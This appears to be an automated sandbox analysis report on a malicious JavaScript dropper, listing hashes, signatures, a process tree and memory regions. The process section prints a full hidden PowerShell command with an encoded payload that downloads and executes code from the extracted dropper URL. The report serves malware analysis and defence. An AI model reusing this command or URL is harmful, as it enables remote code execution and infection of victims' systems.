Analysis

  • max time kernel
    136s
  • max time network
    134s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/12/2023, 03:32

General

  • Target

    267f3db5a2ed9526fa15c9a52e5cf9c9.js

  • Size

    91KB

  • MD5

    267f3db5a2ed9526fa15c9a52e5cf9c9

  • SHA1

    d1efcf6210670cc75100f4c5e4100aaeff132f5a

  • SHA256

    b0488ce5eee73d9c01d9ad07a8e0d5f4225dcff653f86d0431ceac5fcc42ab9a

  • SHA512

    4598e7bb833988c5ea35d7ffa544416871f9d08b66de5dd81208a51434971615ef3cfb25f95ca8a8d51db8ded2b5e0b5fd250b7f119ae7ec35123086dfebab98

  • SSDEEP

    1536:9uinqtlS9Ry98guHVBqqg2bcruayUHmLKeZaMU7GwbWBPwVGWl9SZ8kV8Gp/5bzj:9u/S9Ry98guHVBqqg2bcruzUHmLKeMMb

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://smart-integrator.hr/pornhub.php

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\267f3db5a2ed9526fa15c9a52e5cf9c9.js
    1⤵
      PID:3760
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2284
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
      1⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3960

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hzpcdvhy.ynw.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/3960-6-0x0000020A29050000-0x0000020A29072000-memory.dmp

      Filesize

      136KB

    • memory/3960-11-0x00007FFD585D0000-0x00007FFD59091000-memory.dmp

      Filesize

      10.8MB

    • memory/3960-13-0x0000020A290D0000-0x0000020A290E0000-memory.dmp

      Filesize

      64KB

    • memory/3960-12-0x0000020A290D0000-0x0000020A290E0000-memory.dmp

      Filesize

      64KB

    • memory/3960-14-0x0000020A290D0000-0x0000020A290E0000-memory.dmp

      Filesize

      64KB

    • memory/3960-18-0x00007FFD585D0000-0x00007FFD59091000-memory.dmp

      Filesize

      10.8MB

    • memory/3960-15-0x0000020A290D0000-0x0000020A290E0000-memory.dmp

      Filesize

      64KB